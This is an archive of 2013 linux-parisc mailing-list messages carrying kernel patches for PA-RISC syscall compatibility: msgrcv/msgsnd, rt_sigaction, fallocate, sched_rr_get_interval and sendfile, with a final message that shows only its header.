 (mrigmx001) with ESMTP (Nemesis) id 0M9tl0-1U1Jiv1m1o-00B4pG for
 <linux-parisc@vger.kernel.org>; Tue, 19 Feb 2013 20:55:57 +0100
Original-Received: (qmail invoked by alias); 19 Feb 2013 19:55:56 -0000
Original-Received: from p54AD0837.dip0.t-ipconnect.de (EHLO p100.box) [84.173.8.55]
  by mail.gmx.net (mp034) with SMTP; 19 Feb 2013 20:55:56 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18uSJQhG0AuNG8WmHjCDexL/yvNQfsTg3I2UJliRI
	bQ+uiun2pCSGNf
Content-Disposition: inline
In-Reply-To: <CAEdQ38FJUi9mO8UUWcgckaLzMuxsD1e3qTan_E_KVp6hx0eLkg@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4815
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4815>

* Matt Turner <mattst88@gmail.com>:
> On Mon, Feb 11, 2013 at 2:34 PM, Helge Deller <deller@gmx.de> wrote:
> > The currently used hand-crufted implementation is partly buggy and returned
>                             ^
> 
> Maybe an apt typo? :)

:-)

Anyway, I missed the dependency on CONFIG_COMPAT and as such the 32bit
build got broken. Here is the updated patch...

Helge


commit 4132dad5ac5df6ae669c70d2a3e5a834a8b8076f
Author: Helge Deller <deller@gmx.de>
Date:   Tue Feb 19 20:47:37 2013 +0100

parisc: convert msgrcv and msgsnd syscalls to use compat layer

Switch over to use the existing compat_* implementation for msgrcv() and
msgsnd().  Existing code was even partly buggy since it returned on some paths
different error codes than the standard.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 3df1c35..af48d26 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -272,6 +272,10 @@ config COMPAT
 	def_bool y
 	depends on 64BIT
 
+config SYSVIPC_COMPAT
+	def_bool y
+	depends on COMPAT && SYSVIPC
+
 config HPUX
 	bool "Support for HP-UX binaries"
 	depends on !64BIT
diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index db7a662..94710cf 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -28,6 +28,7 @@ typedef u16	compat_nlink_t;
 typedef u16	compat_ipc_pid_t;
 typedef s32	compat_daddr_t;
 typedef u32	compat_caddr_t;
+typedef s32	compat_key_t;
 typedef s32	compat_timer_t;
 
 typedef s32	compat_int_t;
@@ -188,6 +189,66 @@ typedef struct compat_siginfo {
 #define COMPAT_OFF_T_MAX	0x7fffffff
 #define COMPAT_LOFF_T_MAX	0x7fffffffffffffffL
 
+struct compat_ipc64_perm {
+	compat_key_t key;
+	__compat_uid_t uid;
+	__compat_gid_t gid;
+	__compat_uid_t cuid;
+	__compat_gid_t cgid;
+	unsigned short int __pad1;
+	compat_mode_t mode;
+	unsigned short int __pad2;
+	unsigned short int seq;
+	unsigned int __pad3;
+	unsigned long __unused1;	/* yes they really are 64bit pads */
+	unsigned long __unused2;
+};
+
+struct compat_semid64_ds {
+	struct compat_ipc64_perm sem_perm;
+	compat_time_t sem_otime;
+	unsigned int __unused1;
+	compat_time_t sem_ctime;
+	unsigned int __unused2;
+	compat_ulong_t sem_nsems;
+	compat_ulong_t __unused3;
+	compat_ulong_t __unused4;
+};
+
+struct compat_msqid64_ds {
+	struct compat_ipc64_perm msg_perm;
+	unsigned int __unused1;
+	compat_time_t msg_stime;
+	unsigned int __unused2;
+	compat_time_t msg_rtime;
+	unsigned int __unused3;
+	compat_time_t msg_ctime;
+	compat_ulong_t msg_cbytes;
+	compat_ulong_t msg_qnum;
+	compat_ulong_t msg_qbytes;
+	compat_pid_t msg_lspid;
+	compat_pid_t msg_lrpid;
+	compat_ulong_t __unused4;
+	compat_ulong_t __unused5;
+};
+
+struct compat_shmid64_ds {
+	struct compat_ipc64_perm shm_perm;
+	unsigned int __unused1;
+	compat_time_t shm_atime;
+	unsigned int __unused2;
+	compat_time_t shm_dtime;
+	unsigned int __unused3;
+	compat_time_t shm_ctime;
+	unsigned int __unused4;
+	compat_size_t shm_segsz;
+	compat_pid_t shm_cpid;
+	compat_pid_t shm_lpid;
+	compat_ulong_t shm_nattch;
+	compat_ulong_t __unused5;
+	compat_ulong_t __unused6;
+};
+
 /*
  * A pointer passed in from user mode. This should not
  * be used for syscall parameters, just declare them
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index 9cfdaa1..cee60f7 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -21,7 +21,6 @@
 #include <linux/time.h>
 #include <linux/smp.h>
 #include <linux/sem.h>
-#include <linux/msg.h>
 #include <linux/shm.h>
 #include <linux/slab.h>
 #include <linux/uio.h>
@@ -73,63 +72,6 @@ asmlinkage long sys32_sched_rr_get_interval(pid_t pid,
 	return ret;
 }
 
-struct msgbuf32 {
-    int mtype;
-    char mtext[1];
-};
-
-asmlinkage long sys32_msgsnd(int msqid,
-				struct msgbuf32 __user *umsgp32,
-				size_t msgsz, int msgflg)
-{
-	struct msgbuf *mb;
-	struct msgbuf32 mb32;
-	int err;
-
-	if ((mb = kmalloc(msgsz + sizeof *mb + 4, GFP_KERNEL)) == NULL)
-		return -ENOMEM;
-
-	err = get_user(mb32.mtype, &umsgp32->mtype);
-	mb->mtype = mb32.mtype;
-	err |= copy_from_user(mb->mtext, &umsgp32->mtext, msgsz);
-
-	if (err)
-		err = -EFAULT;
-	else
-		KERNEL_SYSCALL(err, sys_msgsnd, msqid, (struct msgbuf __user *)mb, msgsz, msgflg);
-
-	kfree(mb);
-	return err;
-}
-
-asmlinkage long sys32_msgrcv(int msqid,
-				struct msgbuf32 __user *umsgp32,
-				size_t msgsz, long msgtyp, int msgflg)
-{
-	struct msgbuf *mb;
-	struct msgbuf32 mb32;
-	int err, len;
-
-	if ((mb = kmalloc(msgsz + sizeof *mb + 4, GFP_KERNEL)) == NULL)
-		return -ENOMEM;
-
-	KERNEL_SYSCALL(err, sys_msgrcv, msqid, (struct msgbuf __user *)mb, msgsz, msgtyp, msgflg);
-
-	if (err >= 0) {
-		len = err;
-		mb32.mtype = mb->mtype;
-		err = put_user(mb32.mtype, &umsgp32->mtype);
-		err |= copy_to_user(&umsgp32->mtext, mb->mtext, len);
-		if (err)
-			err = -EFAULT;
-		else
-			err = len;
-	}
-
-	kfree(mb);
-	return err;
-}

From - Thu Nov 08 21:08:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix error return codes for rt_sigaction and
 rt_sigprocmask
Date: Tue, 19 Feb 2013 21:16:49 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <20130219201649.GA1639@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1361305015 28786 80.91.229.3 (19 Feb 2013 20:16:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2013 20:16:55 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 21:17:18 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U7tcq-0008Ex-Ve
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Feb 2013 21:17:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758788Ab3BSUQ4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2013 15:16:56 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:53519 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757787Ab3BSUQ4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2013 15:16:56 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.31]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0McTEs-1UPQVK1DXM-00HdNF for
 <linux-parisc@vger.kernel.org>; Tue, 19 Feb 2013 21:16:54 +0100
Original-Received: (qmail invoked by alias); 19 Feb 2013 20:16:54 -0000
Original-Received: from p54AD0837.dip0.t-ipconnect.de (EHLO p100.box) [84.173.8.55]
  by mail.gmx.net (mp031) with SMTP; 19 Feb 2013 21:16:54 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18PdnApjZEPnmTx93O0XZYnvRKSrfao1k0xggvTY+
	E1ITKl6q3p/6Fg
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4816
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4816>

commit 38526701a6dd86e1f6bd6f025878f990ecae3c8c
Author: Helge Deller <deller@gmx.de>
Date:   Tue Feb 19 21:11:39 2013 +0100

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/signal32.c b/arch/parisc/kernel/signal32.c
index 5dede04..2ddcabb 100644
--- a/arch/parisc/kernel/signal32.c
+++ b/arch/parisc/kernel/signal32.c
@@ -65,7 +65,7 @@ put_sigset32(compat_sigset_t __user *up, sigset_t *set, size_t sz)
 {
 	compat_sigset_t s;
 
-	if (sz != sizeof *set)
+	if (sz != sizeof(compat_sigset_t))
 		return -EINVAL;
 	sigset_64to32(&s, set);
 
@@ -78,7 +78,7 @@ get_sigset32(compat_sigset_t __user *up, sigset_t *set, size_t sz)
 	compat_sigset_t s;
 	int r;
 
-	if (sz != sizeof *set)
+	if (sz != sizeof(compat_sigset_t))
 		return -EINVAL;
 
 	if ((r = copy_from_user(&s, up, sz)) == 0) {
@@ -94,8 +94,11 @@ int sys32_rt_sigprocmask(int how, compat_sigset_t __user *set, compat_sigset_t _
 	sigset_t old_set, new_set;
 	int ret;
 
-	if (set && get_sigset32(set, &new_set, sigsetsize))
-		return -EFAULT;
+	if (set) {
+		ret = get_sigset32(set, &new_set, sigsetsize);
+		if (ret)
+			return ret;
+	}
 	
 	KERNEL_SYSCALL(ret, sys_rt_sigprocmask, how, set ? (sigset_t __user *)&new_set : NULL,
 				 oset ? (sigset_t __user *)&old_set : NULL, sigsetsize);
@@ -128,6 +131,10 @@ sys32_rt_sigaction(int sig, const struct sigaction32 __user *act, struct sigacti
 	struct k_sigaction new_sa, old_sa;
 	int ret = -EINVAL;
 
+	/* XXX: Don't preclude handling different sized sigset_t's.  */
+	if (sigsetsize != sizeof(compat_sigset_t))
+		return -EINVAL;
+
 	if (act) {
 		if (copy_from_user(&new_sa32.sa, act, sizeof new_sa32.sa))
 			return -EFAULT;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix fallocate syscall
Date: Tue, 19 Feb 2013 21:31:58 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20130219203158.GA12965@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1361305923 5384 80.91.229.3 (19 Feb 2013 20:32:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2013 20:32:03 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 21:32:25 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U7trU-0007Bx-D3
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Feb 2013 21:32:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758819Ab3BSUcE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2013 15:32:04 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:62938 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1758587Ab3BSUcC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2013 15:32:02 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.31]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LyPqS-1Uud8h0cMA-015o6C for
 <linux-parisc@vger.kernel.org>; Tue, 19 Feb 2013 21:32:01 +0100
Original-Received: (qmail invoked by alias); 19 Feb 2013 20:32:00 -0000
Original-Received: from p54AD0837.dip0.t-ipconnect.de (EHLO p100.box) [84.173.8.55]
  by mail.gmx.net (mp031) with SMTP; 19 Feb 2013 21:32:00 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18NT44mH2oNWxQPG9GDZYuxT1A2X5BcJ7flSUoiaz
	nwVe3kwT0bNfqH
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4817
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4817>

commit c065e93d5a0fe16e6cfb81d61ab6f5aaee9c25a6
Author: Helge Deller <deller@gmx.de>
Date:   Tue Feb 19 21:23:59 2013 +0100

fallocate(off_t) gets redirected by glibc to fallocate64(loff_t) where
the 64bit loff_t values get splitted into two 32bit (hi/lo) values. This
patch fixes this syscall for the 32- and 64bit kernel.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index a047b32..54d619d 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -213,6 +213,13 @@ asmlinkage long parisc_sync_file_range(int fd,
 			(loff_t)hi_nbytes << 32 | lo_nbytes, flags);
 }
 
+asmlinkage long parisc_fallocate(int fd, int mode, u32 offhi, u32 offlo,
+				u32 lenhi, u32 lenlo)
+{
+        return sys_fallocate(fd, mode, ((u64)offhi << 32) | offlo,
+                             ((u64)lenhi << 32) | lenlo);
+}
+
 asmlinkage unsigned long sys_alloc_hugepages(int key, unsigned long addr, unsigned long len, int prot, int flag)
 {
 	return -ENOMEM;
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index cee60f7..9862944 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -142,13 +142,6 @@ long sys32_lookup_dcookie(u32 cookie_high, u32 cookie_low, char __user *buf,
 				  buf, len);
 }
 
-asmlinkage long compat_sys_fallocate(int fd, int mode, u32 offhi, u32 offlo,
-				u32 lenhi, u32 lenlo)
-{
-        return sys_fallocate(fd, mode, ((loff_t)offhi << 32) | offlo,
-                             ((loff_t)lenhi << 32) | lenlo);
-}

From - Thu Nov 08 21:08:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: switch to available compat_sched_rr_get_interval
 implementation
Date: Tue, 19 Feb 2013 21:45:04 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20130219204504.GA20560@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1361306713 13226 80.91.229.3 (19 Feb 2013 20:45:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2013 20:45:13 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 21:45:35 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U7u4D-0005MX-5h
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Feb 2013 21:45:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933973Ab3BSUpN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2013 15:45:13 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:60101 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933559Ab3BSUpM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2013 15:45:12 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.35]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MKfbV-1U8B2f0YlT-001zQy for
 <linux-parisc@vger.kernel.org>; Tue, 19 Feb 2013 21:45:10 +0100
Original-Received: (qmail invoked by alias); 19 Feb 2013 20:45:09 -0000
Original-Received: from p54AD0837.dip0.t-ipconnect.de (EHLO p100.box) [84.173.8.55]
  by mail.gmx.net (mp035) with SMTP; 19 Feb 2013 21:45:09 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+U5oop+AOUXp+ci0FFckcAQwWHILk16PLhqB0Nwo
	1MEzjxtJUkqSLg
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4818
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4818>

commit 569d66d55af40773eb50062f331ef3fffc754849
Author: Helge Deller <deller@gmx.de>
Date:   Tue Feb 19 21:42:45 2013 +0100

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 3043194..f2e390f 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -149,6 +149,7 @@ type name(type1 arg1, type2 arg2, type3 arg3, type4 arg4, type5 arg5)	\
 #define __ARCH_WANT_SYS_SIGNAL
 #define __ARCH_WANT_SYS_TIME
 #define __ARCH_WANT_COMPAT_SYS_TIME
+#define __ARCH_WANT_COMPAT_SYS_SCHED_RR_GET_INTERVAL
 #define __ARCH_WANT_SYS_UTIME
 #define __ARCH_WANT_SYS_WAITPID
 #define __ARCH_WANT_SYS_SOCKETCALL
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index 9862944..0115eac 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -60,18 +60,6 @@ asmlinkage long sys32_unimplemented(int r26, int r25, int r24, int r23,
     return -ENOSYS;
 }
 
-asmlinkage long sys32_sched_rr_get_interval(pid_t pid,
-	struct compat_timespec __user *interval)
-{
-	struct timespec t;
-	int ret;
-
-	KERNEL_SYSCALL(ret, sys_sched_rr_get_interval, pid, (struct timespec __user *)&t);
-	if (put_compat_timespec(&t, interval))
-		return -EFAULT;
-	return ret;
-}

From - Thu Nov 08 21:08:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: sendfile and sendfile64 syscall cleanups
Date: Tue, 19 Feb 2013 23:01:03 +0100
Lines: 99
Approved: news@gmane.org
Message-ID: <20130219220103.GA937@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1361311270 25276 80.91.229.3 (19 Feb 2013 22:01:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2013 22:01:10 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 23:01:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U7vFh-0005ir-9l
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Feb 2013 23:01:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934526Ab3BSWBJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2013 17:01:09 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:52659 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934520Ab3BSWBI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2013 17:01:08 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.35]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0M1kqC-1V0Aau3dso-00thUC for
 <linux-parisc@vger.kernel.org>; Tue, 19 Feb 2013 23:01:06 +0100
Original-Received: (qmail invoked by alias); 19 Feb 2013 22:01:06 -0000
Original-Received: from p54AD0837.dip0.t-ipconnect.de (EHLO p100.box) [84.173.8.55]
  by mail.gmx.net (mp035) with SMTP; 19 Feb 2013 23:01:06 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/MwKwZ6SXMnKTANc9mFepopuLe2d9US77SW3xSjc
	IFglZC02lZc7/W
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4819
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4819>

commit 375e130d5c9809c99afe56d6640b70f3c002e8ac
Date:   Tue Feb 19 22:55:17 2013 +0100

Utilize the existing compat_sys_sendfile function for 64bit kernel and add
wrappers for sendfile and sendfile64 to correctly handle the 32/64 bit sign
extension.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index f2e390f..74f801e 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -167,6 +167,7 @@ type name(type1 arg1, type2 arg2, type3 arg3, type4 arg4, type5 arg5)	\
 #define __ARCH_WANT_SYS_FORK
 #define __ARCH_WANT_SYS_VFORK
 #define __ARCH_WANT_SYS_CLONE
+#define __ARCH_WANT_COMPAT_SYS_SENDFILE
 
 #endif /* __ASSEMBLY__ */
 
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index 0115eac..eca69bb 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -60,42 +60,23 @@ asmlinkage long sys32_unimplemented(int r26, int r25, int r24, int r23,
     return -ENOSYS;
 }
 
-asmlinkage int sys32_sendfile(int out_fd, int in_fd, compat_off_t __user *offset, s32 count)
+/* Note: it is necessary to treat out_fd and in_fd as unsigned ints, with the
+ * corresponding cast to a signed int to insure that the proper conversion
+ * (sign extension) between the register representation of a signed int (msr in
+ * 32-bit mode) and the register representation of a signed int (msr in 64-bit
+ * mode) is performed.
+ */
+asmlinkage long sys32_sendfile(u32 out_fd, u32 in_fd,
+			       compat_off_t __user *offset, compat_size_t count)
 {
-        mm_segment_t old_fs = get_fs();
-        int ret;
-        off_t of;
-
-        if (offset && get_user(of, offset))
-                return -EFAULT;
-
-        set_fs(KERNEL_DS);
-        ret = sys_sendfile(out_fd, in_fd, offset ? (off_t __user *)&of : NULL, count);
-        set_fs(old_fs);
-
-        if (offset && put_user(of, offset))
-                return -EFAULT;
-
-        return ret;
+	return compat_sys_sendfile((int)out_fd, (int)in_fd, offset, count);
 }
 
-asmlinkage int sys32_sendfile64(int out_fd, int in_fd, compat_loff_t __user *offset, s32 count)
+asmlinkage long sys32_sendfile64(u32 out_fd, u32 in_fd,
+				 compat_loff_t __user *offset, compat_size_t count)
 {
-	mm_segment_t old_fs = get_fs();
-	int ret;
-	loff_t lof;
-	
-	if (offset && get_user(lof, offset))
-		return -EFAULT;
-		
-	set_fs(KERNEL_DS);
-	ret = sys_sendfile64(out_fd, in_fd, offset ? (loff_t __user *)&lof : NULL, count);
-	set_fs(old_fs);
-	
-	if (offset && put_user(lof, offset))
-		return -EFAULT;
-		
-	return ret;
+	return sys_sendfile64((int)out_fd, (int)in_fd,
+				(loff_t __user *)offset, count);
 }
 
 
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 9180719..129fd47 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -304,7 +304,7 @@
 	ENTRY_SAME(gettid)
 	ENTRY_OURS(readahead)
 	ENTRY_SAME(tkill)
-	ENTRY_SAME(sendfile64)
+	ENTRY_DIFF(sendfile64)
 	ENTRY_COMP(futex)		/* 210 */
 	ENTRY_COMP(sched_setaffinity)
 	ENTRY_COMP(sched_getaffinity)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: akpm@linux-foundation.org
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 1/1] mm: use vm_unmapped_area() on parisc architecture
Date: Thu, 21 Feb 2013 15:12:32 -0800
Lines: 65
Approved: news@gmane.org
Message-ID: <20130221231233.1155D5A4174@corp2gmr1-2.hot.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ASCII
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1361488812 6293 80.91.229.3 (21 Feb 2013 23:20:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 21 Feb 2013 23:20:12 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org,
	akpm@linux-foundation.org, walken@google.com, riel@redhat.com
To: jejb@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 22 00:20:34 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U8fRD-0001PX-TZ
	for glpp-linux-parisc@plane.gmane.org; Fri, 22 Feb 2013 00:20:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754763Ab3BUXUH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Feb 2013 18:20:07 -0500
Original-Received: from mail-vb0-f74.google.com ([209.85.212.74]:43307 "EHLO
	mail-vb0-f74.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753789Ab3BUXUG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Feb 2013 18:20:06 -0500
